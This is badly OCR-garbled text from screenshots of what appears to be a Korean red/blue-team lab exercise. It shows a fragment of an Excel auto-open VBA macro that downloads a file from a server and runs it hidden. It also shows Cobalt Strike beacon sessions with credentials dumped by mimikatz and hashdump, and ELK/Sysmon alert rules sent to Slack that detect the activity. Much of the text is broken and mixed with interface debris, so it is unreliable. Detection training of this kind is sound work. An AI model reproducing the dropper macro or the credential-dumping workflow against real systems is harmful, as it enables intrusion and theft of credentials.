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Workbook_0Open()
downloadPath As
verPath As
fileName As

X d - LIF T =
serverPath = ME 22 U ol M m Home nsert Page Layout Formulas Data Revie e Developer
fileName = ) are ol - BN, = =g = General - [f Conditicnal Formatting *  3* Insert ~ z - }f
& = = 5i- 9. , [§rormatasTable - 3 ’
s 7 B I 1 » - A A P w2 s = Cell Styles ~ =) Format - 2 ~ :",:'_ -
downloadPath = Environ("US f
! Security Warning Macros have been disabled. | Enable Content
118 v B
X| ttp A
xmlHttp As . N . . o [pezc e gt ( )
T LEE Ject L XMLHTTP 24| 444 ! A 2 a b E : 2 i : .
xmlHttp.Open "G ) : FileN: GET 2 EL| CI22CE 1
xmlHttp.send 2
3
- 4
o5 [;
a5 reateQbject(” 2
oStrea ADODB.Stream Zi{|E 6
a0 S8 23 M -
oStream.Open
oStream.Write xmlHttp.responseBody 8
oStream.SaveToFile downloadPath & fileMame, 2 9
oStream.Close 10
1
= . D 7 =3 P . 12
& Chr(34) & downloadPath & "\" & fileName & Chr(34), vbHide
4 4 » M| Sheeti ¥J | 4
oo =3 HE M8 (TR snnae =

& downloadPath & "\" & fileName & Chr(34), vbHide
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external
() 10.0.113

internal listener user computer note process  pid arch
10.0.1.13 CCIT lis... son1 artifact_... 3128

last sleep ~
1 minute
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Targets X

Credentials X

address ~

151 10.0.1.13

name note
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[WF Cobalt Strike

Cobalt Strike View Payloads Aftacks Site Management Reporting Help
@O N<=0® =acaan

|
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external inter.. ~ | listener |user computer | note process | pid arch last sleep

0.0 0.0 0 D powe 84 4 8 econd
K 100113 100113 CCIT lis . SYSTEM* DESKT rundli32_. 4976 ¥64 48s 1 minute
g 100113 100113 CCIT lis_ son1 DESKT_. artifact .. 5956 *64 232ms 1 second
Eventlog X | Beacon 10.0.1.13@5956 X | Beacon 10.0.1.13@2684 X | Beacon 10.0.1.13@4976 X | Credentials X
user password realm note source host added
DefaultAccount 31décie0d16ae93... DESKTOP-VUREB... hashdump 10.0.1.13 05/2316:19:49 =
Administrator 0c40bdf9e5b0464. . DESKTOP-VUREB. . mimikatz 10.0.1.13 05/23 16:32:19
Administrators 0c40bdf9e5b0464. . DESKTOP-VUREB. . mimikatz 10.0.1.13 056/23 16:38:57
son1 0c40bdf9e5b0464 . TEST mimikatz 100.1.13 05/23 16:16:50
son1 0c40bdf9e5b0464. . TEST LOCAL mimikatz 10.0.1.13 05/23 16:16:50
son1 0c40bdf9e5b0464 . DESKTOP-VUREB. . mimikatz 10.0.1.13 05/23 16:16:50
Administraior 31d6cfe0d16ae93._.  testlocal mimikatz 10.0.1.13 05/23 16:32:31
Administrator 31d6cfe0d16ae93.. DESKTOP-VUREB. . mimikatz 10.0.1.13 05/23 16:32:25
Guest 31d6cfe0d16ae93... DESKTOP-VUREB... hashdump 10.0.1.13 06/19 19:45:10
Administrators 31decfe0d16ae93.. testlocal mimikatz 10.0.1.13 05/23 16:38:57
Administrator 0c40bdfoe5h0464...  testlocal mimikatz 10.0.1.13 05/23 16:38:57
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(Cobalt Strike View Payloads Attacks Site Management Reporting Help
@O RH<=0& ~omnm

external

internal

listener

user computer note -~ | process pid arch last sleep
10.0.1.12 SYSTEM * WIN-FGSFSO0SELFK rundli32 exe 1 minute
o 100113 100113 CCIT_li... sont* DESKTOP-VUREBFV powershell.e . 2684 64 698ms 1 second
g 100113 100113 CCIT_li... SYSTE.. DESKTOP-VUREBFV rundli32.exe 4976 64 542ms 1 second
@ 100113 100113 CCIT_li... sonit DESKTOP-VUREBFV arlifact_x64.... 5056 64 804ms 1 second

v

beacon> revZsel f

EventLog X | Beacon 10.0.1.13@5956 X | Beacon 10.0.1.13@2684 X
#_ +Password replace @ 00000214FOD46ES8 (32) —=> nul |

Beacon 10.0.1.13@4976 X

Credentials X | Targets X

Tacked hearon tn reusrt toleen
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A orEst et | 100447

= @ oxcoe - Options Mew Open Share Inspect [ save

~ Search KoL (@ v Jun19, 2023 @ 18:00:00.00 — Jun 19, 2023 @ 21:00:00.00 G Refresh 1 =
.
—
—
o -1 O

®  + Add filter
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ogbeat-71710* 3,509 hits @ Chart options

QU search field names ® 4648 : n:ol Al x_‘! xl‘ % n:ol ; AI‘% 6"@ EJ% AI E
Filter by type 0 - _ = -

~ Avallable fields 145 S— B . B

B e — - * 4624 : AHo| ¥ZXoz= 2O

Time & Document
t eventcode
o > Jun 19, 2023 @ 20:58:57.862  grimestamp: Jun 19, 262 event code & P-VUREBFV agent.id: d31c68as-en7z-48ee-95ce-fiadafiafese
event.module o
agent.name: DESKTOP-VURI reate (rule: Proces: te) event.category: process
. M 220 EH HSIO| Stet
) index hash. sha256: 781567982, DESKTOP-VUREBFV host.id: e67f84f6-d874-4a21-aa20- 3 [ - = = = O

7d4866bfcfs2 host.ip: fi lp:80:60:00:26 host.name: DESKTOP-VU

I
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o
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) type Jun 19, 2023 € 20:58:57.852 g o VUREEF 3 - 072-48ee-95ce-F13daF FaFes:
timestamp: Jun 19, 20: TDF‘ 5 values P-VUREBFV agent.id: d31c68aa-e@72-48ee-95ce-F1adaffafese
©) agent.ephemeralid agent.name: DESKTOP-VUR reate (rule: Proc te) event.category: proc
e event.code: 1 event.crd AB4E 70.9% T feof t-Windows-Sysmon event.type: start, process_start
hash. sha256: 1 el I+ DESKTOP-VUREBFV host.id: e6784f6-d874-4a21-aa20-
t agentid
— lp0:66:00:00 120 host.name: DESKTOP-VUREBFY.test.local
© agentname
> Jun 19,\Qe23 @ 26:58:56.269 grimestamp: Jun 19, 2 o A o oar P-VUREBFV agent.id: d31c68aa-ed72-48ee-95ce-f18daffsfede
¢ agent.type 4';.{_—1- L? £

agent.name: DESKTOP-VURI

P = frninated (rule: ProcessTerminate) event.category: process °
R — -
event.code: 5 event.cre 5o t-Windows-sysmon event. type: end, process_end

t) agent.version
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host.architecture: x86_t I - ~ 006 :6bad:2bed:0a32, 10.0.1.13, feBd::ffff:fFff:fffe
€ eventaction host.mac: 08:15:54:81:6; 4672 21.8% o5 family: windows host.os.kernel: 18.0.15063.13
€ event.category —

> Jun 19 etimestamp: Jun 19, 202: P-VUREBFV agent.id: d31c68aa-ed72-48ee-05ce-f18daffafede

vent.created
B eventcreats agent.name : DESKTOP-VUR . = oo erninated (rule: ProcessTerminate) event.category: process
) eventkind event.code: 5 event.crd 4634 15.6% 2 Jeort-Windows-sysmon event.type: end, process_end
€ eventoutcome host.architecture: x86_ — 00c6 :6bad :2bed:9a32, 10.8.1.13, feB0::FfFF:FFFf:Fffe
799 S.4%
-

Exists in 147 [/ 147 records

Visualize
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ElastAlert tack Management X-Pack

G o

| amgs O oy 6819%Y 19:42
™

@ ccit_elk@fedora:/usr/localllib/python3.6/site-packages/elastal. Q

ngest = CCIT_warning alert
[r——— & o x
. T — [—
A "ok 0 00:00.010
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CCIT_warning alert

Type Actions
Index threshold Slack

Last response Average duration

e Ok 00:00:00.016

Alert

37

Rows per page: 10 v

Recent execution

Edit rule

Index threshold

Alert when an aggregated query meets the threshold. Documentation &

Select an index
INDEX winlogbeat-7.17.10%
WHEN count()

GROUPED OVER top 5 'event.module'

Define the condition
IS ABOVE 1

FOR THE LAST 1 minute

No data matches this query

Check that your time range and filters are correct.

o CCIT

CULTURE CONTENTS &
INFORMATION TECHNOLOGY

-> winlogbeat-7.17.10* index0{| A
-> count E 0Of
-> ‘event.module’0f| A 1~5=2|MtX|

> B $ O] A |

13



3. Slack &

(o] =1
=

__I.I.

.
o

Type Actions
Index threshold Slack

Last response
e Ok

Alert

37

Rows per page: 10

fecycle_management

CCIT_warning alert

Average duration
00:00:00.014

Recent execution

Edit rule

~ s%  myslack

Run when Threshold met

Slack connector

my slack

Message

(2ot Z1)
10.011304| CHzh =20 Z A 7h 2

- 2 Event ID : '{{context.group}}'

- 2h8 =12 {context.value}}

Add connector

hve

B

- &F = {{context.conditions}} over {{params.timeWindowSize}}

{{params.timeWindowUnit}}
- AMZk Hrantavt Aatall

Select a connector type

Cancel
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10.0.1.130]| CHot EQF Zn 7} Ehiliah:

— 2 Event ID: '8198'
A

U

0=
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=2
- == X7 count is greater than 1
over Tm
— A|Zk: 2023-06-19T11:22:38.500Z
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PESKTOP-UES25Q62] Win10_1_10.0.1.13

7t HEEH @
RI(F) ZY¥(A) OITiojm)

- 1X(e)]

2I|v) E8%¥H)
g

VBA2.xIsm - Microsoft Excel (Trial

General

ek g

i
o il W

¥ Event ID : 'powershell'
25 64
Enable Content

Z71: count is greater than 1 over 1m
’F: 2023-06-19T723:50:57.472Z

G
g |
).1.130]| gt = Ot A7t Wt
& Event ID : 'sysmon'
T2 HAE

int is greater than 1 over 1m
{t: 2023-06-19723:50:57.472Z

process
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